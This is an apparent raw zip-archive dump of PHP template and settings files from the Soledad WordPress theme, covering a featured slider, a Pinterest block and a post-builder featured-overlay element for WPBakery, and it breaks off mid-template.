										<?php if ( ! $hide_categories && $show_cat ): ?>
                                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
										<?php endif; ?>
                                        <h3><a href="<?php the_permalink() ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
												<?php
												if ( $show_viewscount ) {
													echo '<span class="feat-countviews">';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                                    <div class="featured-slider-excerpt">
														<?php
														if ( get_theme_mod( 'penci_excerptcharac' ) ) {
															the_excerpt();
														} else {
															$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
															penci_the_excerpt( $excerpt_length );
														}
														?>
                                                    </div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        <div class="penci-featured-slider-button">
                                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                                        </div>
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     /w\o
  
  .  js_composer/shortcodes/pintersest/settings.phpnu [        <?php
vc_map( array(
	'base'          => "penci_pintersest",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pintersest/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Pinterest', 'soledad' ),
	'description'   => 'Pintersest Block',
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Enter the <strong style="color: #ff0000;">username</strong> or <strong style="color: #ff0000;">username/board_name</strong> for load images:', 'soledad' ),
				'param_name'  => 'pusername',
				'admin_label' => true,
				'std'         => 'thefirstmess/animals-cuteness',
				'default'     => 'thefirstmess/animals-cuteness',
				'description' => 'Example if you want to load a board has url <strong style="color: #ff0000;"><a href="https://www.pinterest.com/thefirstmess/animals-cuteness" target="_blank">https://www.pinterest.com/thefirstmess/animals-cuteness</a></strong> You need to fill <strong style="color: #ff0000;">thefirstmess/animals-cuteness</strong>',
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Numbers image to show:', 'soledad' ),
				'param_name' => 'pnumbers',
				'std'        => 9
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Cache life time ( unit is seconds ):', 'soledad' ),
				'param_name' => 'pcache',
				'std'        => 1200
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Display more link with username text?', 'soledad' ),
				'param_name' => 'pfollow',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			)
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     /w\    .  js_composer/shortcodes/pintersest/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$pusername = $pnumbers = $pcache = $pfollow = '';
$pfollow   = 'yes' == $pfollow;

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-pintersest';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'pintersest' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
            <div class="penci-pinterest-widget-container">
				<?php
				if ( ! $pusername ) {
					esc_html_e( 'Pinterest data error: pinterest data is not set, please check the ID', 'soledad' );
				}
				$pinboard = new Penci_Pinterest();
				$pinboard->render_html( $pusername, $pnumbers, $pcache, $pfollow );
				?>
            </div>
        </div>
    </div>
<?php

$id_pintersest = '#' . $block_id;
$css_custom    = Penci_Vc_Helper::get_heading_block_css( $id_pintersest, $atts );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_pintersest, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     /w\WN  WN  >  js_composer/shortcodes/pc_single_featured_overlay/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_featured_overlay",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_featured_overlay/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Featured Overlay', 'soledad' ),
	'description'   => 'Post Builder - Featured Overlay',
	'controls'      => 'full',
	'params'        => array_merge( array(

		array(
			'type'             => 'textfield',
			'param_name'       => '_desc_typo_heading',
			'heading'          => esc_html__( 'General Settings', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Enable Parallax on Featured Image', 'soledad' ),
			'param_name'       => 'penci_enable_jarallax_single',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Featured Image on Top', 'soledad' ),
			'param_name'       => 'penci_post_thumb',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Size', 'soledad' ),
			'param_name'       => 'img_size',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6'
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Mobile Size', 'soledad' ),
			'param_name'       => 'img_msize',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6'
		),

		array(
			'type'             => 'penci_slider',
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'heading'          => esc_html__( 'Image Ratio (in %)', 'soledad' ),
			'param_name'       => 'img_msize',
			'edit_field_class' => 'vc_col-sm-6'
		),

		// Post Meta
		array(
			'type'             => 'textfield',
			'param_name'       => '_overlay_content_heading',
			'heading'          => esc_html__( 'Overlay Content', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Text Align', 'soledad' ),
			'param_name'       => 'content_overlay_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Content Align', 'soledad' ),
			'param_name'       => 'content_overlay_calign',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Breadcrumb', 'soledad' ),
			'param_name'       => 'hide_breadcrumb',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Title', 'soledad' ),
			'param_name'       => 'hide_title',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Sub Title', 'soledad' ),
			'param_name'       => 'hide_subtitle',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Categories', 'soledad' ),
			'param_name'       => 'penci_post_cat',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Meta', 'soledad' ),
			'param_name'       => 'hide_info',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Post Meta
		array(
			'type'             => 'textfield',
			'param_name'       => '_desc_typo_heading',
			'heading'          => esc_html__( 'Post Meta', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Meta Text Align', 'soledad' ),
			'param_name'       => 'meta_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Meta Label Text', 'soledad' ),
			'param_name'       => 'hide_meta_label',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Justify Align?', 'soledad' ),
			'param_name'       => 'justify_align',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Remove Divider Character', 'soledad' ),
			'param_name'       => 'remove-divider',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Spacing Between Meta', 'soledad' ),
			'param_name'       => 'meta-item-spacing',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Author', 'soledad' ),
			'param_name'       => 'penci_single_meta_author',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Author Avatar', 'soledad' ),
			'param_name'       => 'penci_single_author_avatar',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Borders Radius', 'soledad' ),
			'param_name'       => 'penci_single_author_avatar_br',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Spacing', 'soledad' ),
			'param_name'       => 'penci_single_author_avatar_sp',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Avatar Width', 'soledad' ),
			'param_name'       => 'penci_avatar_w',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Author Icon?', 'soledad' ),
			'param_name'       => 'penci_single_meta_ava_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Date', 'soledad' ),
			'param_name'       => 'penci_single_meta_date',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Date Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_date_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Comment', 'soledad' ),
			'param_name'       => 'penci_single_meta_comment',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Comment Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_comment_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post View', 'soledad' ),
			'param_name'       => 'penci_single_show_cview',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post View Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_view_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Reading Time', 'soledad' ),
			'param_name'       => 'penci_single_hreadtime',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Reading Time Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_reading_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// General Style
		array(
			'type'             => 'textfield',
			'param_name'       => '_general_style',
			'heading'          => esc_html__( 'General Style', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Overlay Background Color', 'soledad' ),
			'param_name'       => 'overlay_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Content Background Color', 'soledad' ),
			'param_name'       => 'overlay_ctbgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_slider',
			'heading'          => esc_html__( 'Content Width', 'soledad' ),
			'param_name'       => 'overlay_ctw',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_slider',
			'heading'          => esc_html__( 'Content Padding', 'soledad' ),
			'param_name'       => 'overlay_ctpd',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_slider',
			'heading'          => esc_html__( 'Content Border Radius', 'soledad' ),
			'param_name'       => 'overlay_ctbdr',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Overlay Align', 'soledad' ),
			'param_name'       => 'overlay_align',
			'value'            => array(
				'Left'   => 'margin-right: auto !important',
				'Center' => 'margin-left: auto !important; margin-right: auto !important;',
				'Right'  => 'margin-left: auto !important',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),

		// Breadcrumb Style
		array(
			'type'             => 'textfield',
			'param_name'       => '_breadcrumb_style',
			'heading'          => esc_html__( 'Breadcrumb Style', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Breadcrumb Text Color', 'soledad' ),
			'param_name'       => 'breadcrumb_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Breadcrumb Text Hover Color', 'soledad' ),
			'param_name'       => 'breadcrumb_lhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Categories Style
		array(
			'type'             => 'textfield',
			'param_name'       => '_categories_style',
			'heading'          => esc_html__( 'Categories Style', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Category Style', 'soledad' ),
			'param_name'       => 'cat_pre_style',
			'value'            => array(
				'Default' => '',
				'Style 1' => 's1',
				'Style 2' => 's2',
				'Style 3' => 's3',
				'Style 4' => 's4',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Category Color', 'soledad' ),
			'param_name'       => 'cat_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Category Link Color', 'soledad' ),
			'param_name'       => 'cat_lcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Category Link Hover Color', 'soledad' ),
			'param_name'       => 'cat_lhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Category Background Color', 'soledad' ),
			'param_name'       => 'cat_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Category Background Hover Color', 'soledad' ),
			'param_name'       => 'cat_bghcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Category Border Color', 'soledad' ),
			'param_name'       => 'cat_bcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Category Border Hover Color', 'soledad' ),
			'param_name'       => 'cat_bhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Category Item Border', 'soledad' ),
			'param_name'       => 'cat_border',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Category Border Style', 'soledad' ),
			'param_name'       => 'cat_border_style',
			'group'            => $group_color,
			'value'            => array(
				'Dotted' => 'dotted',
				'Dashed' => 'dashed',
				'Solid'  => 'solid',
				'Double' => 'double',
				'Groove' => 'groove',
				'Ridge'  => 'ridge',
				'Inset'  => 'inset',
				'Outset' => 'outset',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),

		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Category Border Radius', 'soledad' ),
			'param_name'       => 'cat_border_radius',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Remove Category Divider Character', 'soledad' ),
			'param_name'       => 'cat_divider',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Title Style
		array(
			'type'             => 'textfield',
			'param_name'       => '_title_style',
			'heading'          => esc_html__( 'Title & Subtitle Style', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
			'param_name'       => 'title_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Sub Title Color', 'soledad' ),
			'param_name'       => 'subtitle_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

	), array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Icon Style', 'soledad' ),
			'param_name'       => 'meta_icon_style',
			'value'            => array(
				'Default' => 'default',
				'Style 1' => 's1',
				'Style 2' => 's2',
				'Style 3' => 's3',
				'Style 4' => 's4',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_icon_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Background Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_bg_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Border Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_bd_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Text Color', 'soledad' ),
			'param_name'       => 'meta-author-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Link Color', 'soledad' ),
			'param_name'       => 'meta-author-lcolor',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Link Hover Color', 'soledad' ),
			'param_name'       => 'meta-author-hcolor',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Date Color', 'soledad' ),
			'param_name'       => 'meta-pdate-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Comment Color', 'soledad' ),
			'param_name'       => 'meta-pcomment-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post View Color', 'soledad' ),
			'param_name'       => 'meta-pview-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Reading Color', 'soledad' ),
			'param_name'       => 'meta-preading-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     /w\Ј?T  ?T  >  js_composer/shortcodes/pc_single_featured_overlay/frontend.phpnu [        <?php
global $post;
$settings       = vc_map_get_attributes( $this->getShortcode(), $atts );
$avatar         = $settings['penci_single_author_avatar'];
$block_id       = Penci_Vc_Helper::get_unique_id_block( 'pc_single_featured_overlay' );
$css_custom     = '';
$css_class      = vc_shortcode_custom_css_class( $settings['css'] );
$avatarw        = isset( $settings['penci_avatar_w'] ) && $settings['penci_avatar_w'] ? $settings['penci_avatar_w'] : 32;
$icon_style     = $settings['meta_icon_style'];
$thumb_alt      = '';
$label_text     = $settings['hide_meta_label'];
$gradient_class = '';

if ( has_post_thumbnail() ) {
	$thumb_id  = get_post_thumbnail_id( get_the_ID() );
	$thumb_alt = penci_get_image_alt( $thumb_id, get_the_ID() );
}

$move_title_bellow   = false;
$enable_jarallax     = $settings['penci_enable_jarallax_single'];
$pmt_enable_jarallax = get_post_meta( get_the_ID(), 'penci_enable_jarallax_single', true );

if ( $pmt_enable_jarallax ) {
	$enable_jarallax = $pmt_enable_jarallax;
}

$simage_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
$image_size  = $settings['img_size'] ? $settings['img_size'] : $simage_size;

if ( penci_is_mobile() ) {
	$image_size = $settings['img_msize'] ? $settings['img_msize'] : 'penci-masonry-thumb';
}


$div_special_wrapper = '';
if ( ! $move_title_bellow ) {
	$div_special_wrapper .= '<div class="';
	$div_special_wrapper .= 'standard-post-special_wrapper' . $gradient_class;
	$div_special_wrapper .= '">';
}

$image_html = penci_get_featured_single_image_size( get_the_ID(), $image_size, $enable_jarallax, $thumb_alt );

?>
<?php if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
	<?php
	$class_pimage_linkquote = 'standard-post-special post-image';
	if ( penci_get_post_format( 'quote' ) ) {
		$class_pimage_linkquote .= ' penci-special-format-quote';
	}
	if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) {
		$class_pimage_linkquote .= ' no-thumbnail';
	}

	if ( ! $move_title_bellow ) {
		$class_pimage_linkquote .= ' penci-move-title-above';
	}

	if ( $enable_jarallax ) {
		$class_pimage_linkquote .= ' penci-jarallax';
	}
	?>
    <div id="<?php echo $block_id; ?>" class="<?php echo $css_class; ?>">
        <div class="<?php echo( $class_pimage_linkquote ); ?>">
			<?php
			if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
				echo $image_html;
			}
			?>
			<?php echo $div_special_wrapper; ?>
            <div class="standard-content-special">
                <div class="format-post-box<?php if ( penci_get_post_format( 'quote' ) ) {
					echo ' penci-format-quote';
				} else {
					echo ' penci-format-link';
				} ?>">
                    <span class="post-format-icon"><?php penci_fawesome_icon( 'fas fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
                    <p class="dt-special">
						<?php
						if ( penci_get_post_format( 'quote' ) ) {
							$dt_content = get_post_meta( $post->ID, '_format_quote_source_name', true );
							if ( ! empty( $dt_content ) ): echo sanitize_text_field( $dt_content ); endif;
						} else {
							$dt_content = get_post_meta( $post->ID, '_format_link_url', true );
							if ( ! empty( $dt_content ) ):
								echo '<a href="' . esc_url( $dt_content ) . '" target="_blank">' . sanitize_text_field( $dt_content ) . '</a>';
							endif;
						}
						?>
                    </p>
					<?php
					if ( penci_get_post_format( 'quote' ) ):
						$quote_author = get_post_meta( $post->ID, '_format_quote_source_url', true );
						if ( ! empty( $quote_author ) ):
							echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
						endif;
					endif; ?>
                </div>
            </div>
            <div class="penci-fto-ct">
				<?php
				if ( ! $move_title_bellow ) {
					get_template_part( 'template-parts/single', 'breadcrumb' );
				}
				if ( ! $move_title_bellow && has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
					get_template_part( 'inc/template-builder/single-elements/entry', 'header', $settings );
				}
				?>
            </div>
			<?php if ( ! $move_title_bellow ): ?></div><?php endif; ?>
    </div>

<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

	<?php $images = get_post_meta( $post->ID, '_format_gallery_images', true ); ?>

	<?php if ( ! $move_title_bellow && has_post_thumbnail() ) : ?>
		<?php if ( ! get_theme_mod( 'penci_post_thumb' ) ) : ?>
            <div class="post-image penci-move-title-above <?php echo( $enable_jarallax ? ' penci-jarallax' : '' ); ?>">
				<?php
				if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) && ! $enable_jarallax ) {
					$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( $post->ID ) );
					echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-image-content">';
					echo $image_html;
					echo '</a>';
				} else {
					echo $image_html;
				}

				echo $div_special_wrapper;

				echo '<div class="penci-fto-ct">';

				get_template_part( 'template-parts/single', 'breadcrumb' );
				if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
					get_template_part( 'inc/template-builder/single-elements/entry', 'header', $settings );
				}
				echo '</div>';
				echo '</div>';
				?>
            </div>
		<?php endif; ?>
	<?php elseif ( $images ) :
		$autoplay = ! get_theme_mod( 'penci_disable_autoplay_single_slider' ) ? 'true' : 'false';
		?>
        <div class="post-image">
            <div class="penci-owl-carousel swiper penci-owl-carousel-slider penci-nav-visible"
                 data-auto="<?php echo $autoplay; ?>" data-lazy="true">
                <div class="swiper-wrapper">
					<?php foreach ( $images as $image ) : ?>

						<?php $the_image = wp_get_attachment_image_src( $image, $image_size ); ?>
						<?php $the_caption = get_post_field( 'post_excerpt', $image );
						$image_alt         = penci_get_image_alt( $image, get_the_ID() );
						$image_title_html  = penci_get_image_title( $image );
						?>
                        <div class="swiper-slide swiper-mark-item">
                            <figure class="penci-swiper-mask">
								<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
